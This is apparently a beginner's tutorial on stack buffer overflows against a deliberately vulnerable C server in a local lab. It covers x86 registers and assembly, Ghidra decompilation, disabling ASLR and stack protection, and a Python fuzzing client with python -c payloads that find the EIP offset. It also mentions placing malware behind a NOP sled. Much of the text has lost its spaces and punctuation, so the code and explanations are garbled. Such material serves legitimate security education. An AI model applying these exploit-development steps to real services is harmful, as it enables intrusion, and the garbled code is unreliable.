Client-SideCodeCodeExampledefconvert(message)raw=raw+=structpack(ltIlen(message))raw+=messagereturnrawWhyisthisimportantWhatpointdoesthisillustrateMyhumbleopinionisthattheapplicationmaybeexpectingaveryparticularsetofstringsbeforeprocessinganydatainthebufferitselfForexamplemaybethesocketyourcommunicatingisexpectingsomesortofpreamble2byteflagsorevenasimpleldquoHellordquoprefixMorerealisticallytheclientcouldsendsometypeofuniqueOSflagClientVersionFlagHelloorwhoknowswhatInthiscasethereisanexpectationthatthefirst4byteswillincludethelengthoftheclientpayloadThelengthoftheclientpayloadisofcoursecalculatedbythepythonclientAdnthatrsquosjustaweirdnuanceofthiscodeandprobablynoothercodeSoifyoutrytoconnectdirectlytothesocketandthrowaldquoBunchofArsquosrdquoatthelistenermaybetheldquoAsrdquowillgettothenextfunctionfortheoverflowORmaybetheldquoArsquosrdquowonrsquotevenmakeitbecauseofsomemissingpre-fixlogicstuffthatisuniquetotheapplicationExampleofOverflowcrashusingPrefix
InthiscasewewereluckyandourldquoArsquosrdquoorldquox41rdquomadeitthroughandoverwrotetheinstructionpointerThismaynotmeanmuchtothosenewtotheBufferOverflowconceptbutdonrsquotworrybecausethepointisldquothehackworkedrdquobecauseweknewtheservicewasexpectinga4byteofprefixThemoreyouunderstandwhattheapplicationexpectsthemorelikelyyouaregettingintodeeperpartsinthecode Nowletrsquostakealookatblindlyfuzzingwithoutunderstandingtheclient-serversourcecode
ExampleofOverflowusingBlindNecatTelnetpayloadwithoutthePrefix
WhathappenedhereItwouldappearthatwesentthesamenumberofldquoArsquosrdquototheprogrambutweexitednormallyanddidnotreceiveasegmentationfaultattheinstructionpointerWhyWellwithoutknowingthesourcecodewecanrsquotreallysayAlthowecanguessthatwithouttheldquoPrefixrdquobytesthenwearenotover-writingthestackenoughandneedmoreldquoArsquosrdquoAlsolookhowtheldquoWillReadrdquoandldquoReadrdquoseemstobeallwhackyandnotmakemuchsensePreviouslytheclientpyscriptsentthestringldquo1050rdquointhemessageandtheservertolduswesent1050bytesbutonlybecauseldquo1050rdquostringwasprefixedontothemessageviatheclientSincethenetcatcommanddoesnrsquothavethatlogictheldquoprefixrdquoismissingandourserversidecodedoesnrsquotknowwhattodoThiscouldresultinsomelogicfailureearlyinthesourcecodekeepingyoufromfeedingthoseldquoArsquosrdquointoavulnerablefunctionthathidesdeeperinthestackwaitingforajuicy0-day(-
ReversingCompiledBinariesInthecaseoftheexampleclientpywegetluckyandcansimplyreverseengineerthepythonsourcecodeIfweweredealingwithacompiledclientbinarythenIrsquodsaystartwithldquofilerdquoandldquostringsrdquocommandandthenmoveontode-compliationLetrsquostryfileandstringsonourserversidecompiledcodejustforkicks
WecanseeitsacompiledELFbinarythepre-processordirectivebeingusedandlaterinthestdoutofstringcommandwecanseethestringtheprintfgivesusRememberifweonlyhadthecompiledbinariestoworkwiththensuccessfullyfuzzingthisapplicationmaygiveusproblemsbecauseoftheunknownldquoprefixrdquothatisappendedtotheclientpymessageSohowdowefigurethisoutifwedonthaveaccesstothesource-codeNSAGHIDRAtotheRescueOurfriendsattheNSArecentlyannouncedwhatIconsideraprettykickasstoolGHIDRAToquotedirectlyfromWIKIldquoGhidraisafreeandopensourcereverseengineeringtooldevelopedbytheNationalSecurityAgency(NSA)ThebinarieswerereleasedatRSAConferenceinMarch2019thesourceswerepublishedonemonthlateronGitHubGhidraisseenbymanysecurityresearchersasacompetitortoIDAProandJEBDecompilerrdquo
LetrsquossayonewayoranotherwegetourhandsonsomecompiledclientorserverbinariesandneedtodoadeepdivemaybetodevelopourownmyintelligentfuzzerWhatmightthatlooklikeDownloadtheGhidrasourcecompileandrunThensimplyimportyourbinaryThatrsquosit
YoursquollwanttousetheldquoCodeBrowserrdquointheGHIDRAtoolchestFromthereimportyourcompiledbinaryGhidrawilldothede-compilationmagicforyoufromthereAsillustratedbelowIrsquovepulledupthecompiledvulnServerCassemblycodeandGhidarsquosguessatthede-compiledfunctionsourcecodeThesourcecodewonrsquotmatchexactlybutyouwillbeabletoviewthefunctionandthelogicwhichwillallowyoutofindinsecurefunctionsandcustomfunctionsthatcreatesimilarproblems
WhatdoesallthismeanWellIbasicallywentthrougheachfunctionlookingforanyargumentthatmightbeinterestingIfyounoticedIrsquovehighlightedthex86op-codeatmemorylocation0x001012dwhichinvokesaCALLtoREAD()andsomesubsequentMOVrsquoswhicharelikelyaddingnewthe4BytestosomememorylocationThecorrespondingCcodeforthatassemblyissograciouslypositionedtotherightofourassemblyinstructionsLetrsquoslearnalittlebitabouttheREAD()functioninC
ssize_tread(intfsvoidbufsize_tN)ldquoFromthefileindicatedbythefiledescriptorfstheread()functionreadsNbytesofinputintothememoryareaindicatedbybufrdquoSotheprogrammerherewrotethisapplicationtoonlyreadthefirst4bytesofsomethingReadingfurtherintothedecompiledsourceweprintfthattellsuswerereadingtheldquoMessagerdquoakathepayloadorclientissendingSowersquorereadingthefirst4bytesoftheclientpayloadandstoringitintoavariablethatisthenbeingprintedbacktousinthevulnerableServerwhichprintsitrsquosldquoValuerdquoakanumberofBytes
Itlookslikethisisa4byteldquopre-fixrdquowhichisbasicallytheLEN(PAYLOAD)sentfromtheclientYoucanvalidatethisbelookingbackatthepythonclientcode
FormetheimportanttakeawaygoesbacktothatquoteearlierldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfwewereinadifferentsituationandwehadtowriteourownPythonfuzzingclientfromscratchwenowknowwhattheserverisexpectingfromtheclientFromherewecanreverseengineerourownfuzzingclientinwhateverlanguageyouwantWhenIfirstlearnedbufferoverflowsitwaswithwellknownvulnerableserversandtheldquoclientrequestrdquomessagewaswelldocumentedTherealityisthatdeeperstaticcodeanalysisisgenerallyrequiredforbufferoverflowsresearch
CrashingtheStackFinallyrightitrsquosalongstrangetripSo
WehavesomebasicskillsinC WehaveavulnerableCserverlisteningonthelocalnetwork WehaveeitheracustomorgenericclientforcommunicationtotheVulnerableServer WeunderstandweneedtoFuzztheprogramsarguments
Weusedsometoolstoreverseengineercompiledbinariesincaseweneedtogetcreativewiththefuzzypayload
Asaself-taughttechnologistoneofthemostdifficultareasIstruggledwithwasunderstandingwhatwasgoingonunderthehoodIstartedmyldquoTechyrdquojourneywritingJavaSCriptandHTMLbecauseitwaseasyandIcouldgetimmediatevisualfeedbackviachangesinthebrowserWorkingdownthestackintoCprogramingandx86x64LinuxandWindowsarchitectureswasandstillisnoteasyEitherWaylearninglowleveldebuggingisnecessaryWhatrsquosabufferldquoAbufferissimplyacontiguousblockofcomputermemorythatholdsmultipleinstancesofthesamedatatypeCprogrammersnormallyassociatewiththewordbufferarraysMostcommonlycharacterarraysArrayslikeallvariablesinCcanbedeclaredeitherstaticordynamicStaticvariablesareallocatedatloadtimeonthedatasegmentDynamicvariablesareallocatedatruntimeonthestackTooverflowistofloworfilloverthetopbrimsorboundsWewillconcernourselvesonlywiththeoverflowofdynamicbuffersotherwiseknownasstackbasedbufferoverflowsrdquo-SmashingtheStackbyAlephOneMostconfusingtomewashowthestackrelatesbacktoBufferandhowtheassemblylanguagefitsintothepuzzleSomeself-pacedlabshadmebreakopenadebuggertothesightofthishellip
TheScarydebuggerUI
IpersonallydecidedtogetofftheUIdebuggerbecauseitldquohadtoomanywindowsrdquoatthetimeLaterinthispaperIflipbacktotheUIbecauseitmadememorydumpseasytovisualizeWewillstartwithlinuxGDBintheterminalJustseemedalotcleanerviewandteachesyoumoreabouttheGUIversionAlthoughlearningtheterminalcommandstakemoretimethanclickingawindowtheyarebestforbeginners
NativeEDBinTerminal
OkaysoIputthesepicturesfirsttoputthebigbadscaryscreenswithldquoTheMatrixrdquofontoutofthewayHonestlyitrsquosnotthatbadIrsquovesynthesizedmynotesdowntoafewimportantthingsUnderstandtheBasicsofMemoryManagementIfoundanarticlethatbrokedownthebasicsofmemoryandthestackinawaythatreallyhelpedputthepiecestogetherAsanyonemovespastbasicNOPsledsintomoreadvancedexploitwritingthefollowingnotesareabsolutelycriticalFlipbackandforthbetweenthedefinitionsandtheimagesafewtimes
1 CommandlineargumentsandenvironmentvariablesTheargumentspassedtoaprogrambeforerunningandtheenvironmentvariablesarestoredinthehighmemoryaddresssection
2 StackThisistheplacewhereallthefunctionparametersreturnaddressesandthelocalvariablesofthefunctionarestoredItrsquosaLIFOstructureItgrowsdownwardinmemory(fromhigheraddressspacetoloweraddressspace)asnewfunctioncallsaremadeWewillexaminethestackinmoredetaillater
3 HeapAllthedynamicallyallocatedmemoryresideshereWheneverweusemalloctogetmemorydynamicallyitisallocatedfromtheheapTheheapgrowsupwardsinmemory(fromlowertohighermemoryaddresses)asmoreandmorememoryisrequired
4 Uninitializeddata(BssSegment)AlltheuninitializeddataisstoredhereThisconsistsofallglobalandstaticvariableswhicharenotinitializedbytheprogrammerThekernelinitializesthemtoarithmetic0bydefault
5 Initializeddata(DataSegment)AlltheinitializeddataisstoredhereThisconstistsofallglobalandstaticvariableswhichareinitialisedbytheprogrammer
6 TextThisisthesectionwheretheexecutablecodeisstoredTheloaderloadsinstructionsfromhereandexecutesthemItisoftenreadonly
MemoryArchitecture
RegistersampldquoTheStackrdquohellipakascarystuffYoulikelyalreadyknowthatcomputerprocessoroperationsmostlyinvolveprocessingdatathatyouprovideitHowevertoprocessyourdatathecomputerneedstostoredataandaccessitDatacanbestoredondiskstoredinmemoryorstoredinCPUmemoryforexampleHoweverreadingdatadiskfromRAMandalltheIOassociatedwithgettingdataintomemoryslowsdowntheprocessingAlltheoperationstomovedataroundbasicallyinvolvescomplicatedprocessesofsendingthedatarequestacrossthecomputerrsquoscontrolbusandintothememorystorageunit(MSU)andgettingthedatathroughthesamechannelTospeeduptheprocessoroperationstheprocessorisbuiltwithsomeinternalmemorystoragelocationscalledregistersRegistersstoredynamicvariablesoperationstoperformcalculationsandinstructionstotelltheCPUwhattodonextThisisldquoTheStackrdquoldquoTheregistersstoredataelementsforprocessingwithouthavingtoaccessthememoryAlimitednumberofregistersarebuiltintotheprocessorchiprdquoBasicallyregistersarewhereyouputimportantstuffthatneedstobeprocessedbytheCPUWhatdoesthatmeanAddingsubtractingorwhateveryouneedtodotocreateordisplayldquostuffrdquoinyourprogramLetrsquosdigintothemessy
detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus
Generalregisters Controlregisters Segmentregisters
Thegeneralregistersarefurtherdividedintothefollowinggroups
Dataregisters Pointerregisters Indexregisters DataRegisters
DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit
1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters
AHALBHBLCHCLDHandDL
Someofthesedataregistershavespecificuseinarithmeticaloperations
AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in
multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand
BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing
CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations
DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with
DXformultiplyanddivideoperationsinvolvinglargevalues
PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP
Therearethreecategoriesofpointerregisters
Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be
executed IP in association with the CS register (as CSIP) gives the complete address of the current
instruction in the code segment NOTES IP will control the next instruction executed hellip like say our
malware
Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in
association with the SS register (SSSP) refers to be current position of data or address within the program
stack NOTES Might give you a reference point to look higher in memory to find our malware in
bufferNOPsledaddresses
Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a
subroutine The address in SS register is combined with the offset in BP to get the location of the parameter
BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer
tracks the memory location between your Dynamic Variables and registers and your buffer etc BP
isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer
Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated
and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational
codestostartwiththatmostoverflowstutorialsseemtoincludehellip
Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures
following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end
andcomebacktoreading
ControlFlowInstructions
The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the
currentinstructionstarts
Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be
manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions
We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code
textbyenteringalabelnamefollowedbyacolonForexample
movesi[ebp+8]
beginxorecxecx
moveax[esi]
The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this
instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing
thelocationinsteadofits32-bitvalue
jmpmdashJump
Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into
amemorylocationthatishostingthemalware
Syntax
jmpltlabelgt
Example
jmpbeginmdashJumptotheinstructionlabeledbegin
callretmdashSubroutinecallandreturn
These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the
hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code
location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when
thesubroutinecompletes
The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported
in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of
instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater
Syntax
callltlabelgt
ret
DataMovementInstructions
movmdashMove(Opcodes88898A8B8C8E)
The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)
into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct
memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded
intoaregisterthencanbestoredtothedestinationmemoryaddress
Syntax
movltreggtltreggt
movltreggtltmemgt
movltmemgtltreggt
movltreggtltconstgt
movltmemgtltconstgt
Examples
moveaxebxmdashcopythevalueinebxintoeax
movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar
pushmdashPushstack(OpcodesFF898A8B8C8E)
The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements
ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by
pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses
Syntax
pushltreg32gt
pushltmemgt
pushltcon32gt
Examples
pusheaxmdashpusheaxonthestack
push[var]mdashpushthe4bytesataddressvarontothestack
popmdashPopstack
The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie
register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location
andthenincrementsSPby4
Syntax
popltreg32gt
popltmemgt
Examples
popedimdashpopthetopelementofthestackintoEDI
pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX
leamdashLoadeffectiveaddress
The lea instruction places the address specified by its second operand into the register specified by its first operand Note the
contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for
obtainingapointerintoamemoryregion
Syntax
lealtreg32gtltmemgt
Examples
leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI
leaeax[var]mdashthevalueinvarisplacedinEAX
leaeax[val]mdashthevaluevalisplacedinEAX
In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly
commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So
letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized
everythingquitenicely
On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out
The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math
function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob
maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo
SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd
thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe
higherlevelcode
IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis
pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour
instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick
theprogramintoexecutingyourmalwarewiththeprogramspermissions
OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware
LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand
overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer
1 TheaddressofvulnReadstartsatmemoryaddress78dinhex
2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge
isallocatedasalocalvariable
791 81ec14040000 sub$0x414esp
3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare
reservedforbufferbutrememberthatBUFFER_SIZE=1024
8d85f0fbffff lea-0x410(ebp)eax
4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory
locationsUntilfinally
5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt
defineBUFFER_SIZE1024
defineHEADER_SIZE4
EIP(ReturnAddresstonextfunction)
EBPofVuln_Read(BasePointer)
to_read
buffer
read_bytes
Lastvariable(StackPointer)
So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored
andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction
(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036
availablebytesLetrsquosbreakthatdown
1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)
AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos
thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful
outsidethecontextoflearning
Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe
reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo
ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory
locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor
laterourldquomalwarerdquo
Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe
computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe
pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto
IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin
ourprogram
Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers
EnoughtheoryshowmeTheCode
DisablingDEPASLR
YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow
ASLR-Linux
echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline
-fstack-protector-Waexecstack
Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB
compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor
gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337
OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere
GDBCheatSheet
httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype
run1337
NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways
1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly
2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint
WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130
AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)
MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize
DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100
MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger
print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes
forstringinMESSAGE
defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw
print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)
sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver
HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos
ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters
WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks
Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550
Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)
LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo
EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368
LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened
ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway
WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther
python-cprintx41366+x42366+x43184+x4462+x4562+x4662
AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer
Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip
python-cprintx411000+x4225+x4325+x4425+x4525
That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere
up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that
mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos
python-cprintx411000+x4225+x438+x448+x459
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
